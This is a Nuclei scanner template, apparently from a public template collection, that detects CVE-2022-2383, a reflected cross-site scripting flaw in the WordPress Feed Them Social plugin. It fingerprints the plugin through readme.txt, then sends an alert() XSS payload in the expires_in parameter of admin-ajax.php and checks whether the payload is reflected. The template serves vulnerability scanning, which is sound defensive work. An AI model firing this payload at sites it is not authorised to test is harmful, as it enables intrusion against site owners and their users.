id: CVE-2022-2383

info:
  name: WordPress Feed Them Social <3.0.1 - Cross-Site Scripting
  author: akincibor
  severity: medium
  description: |
    WordPress Feed Them Social plugin before 3.0.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the Feed Them Social plugin (3.0.1 or higher) to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4a3b3023-e740-411c-a77c-6477b80d7531
    - https://wordpress.org/plugins/feed-them-social/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2383
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2383
    cwe-id: CWE-79
    epss-score: 0.05149
    epss-percentile: 0.91584
    cpe: cpe:2.3:a:slickremix:feed_them_social:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: slickremix
    product: "feed_them_social"
    framework: wordpress
  tags: cve,cve2022,wp,wordpress,wp-plugin,wpscan,xss,slickremix,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/feed-them-social/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Feed Them Social'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src onerror=alert(document.domain)><br/>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f1af9df1693b523bb1347c443dbaef7c32f7feaf16ea01efed7f704a317f8e540220300f4a0149a0adc55175de5f170b1947420b031d6de39cb8c6624d5ab3f2421c:922c64590222798bb761d5b6d8e72950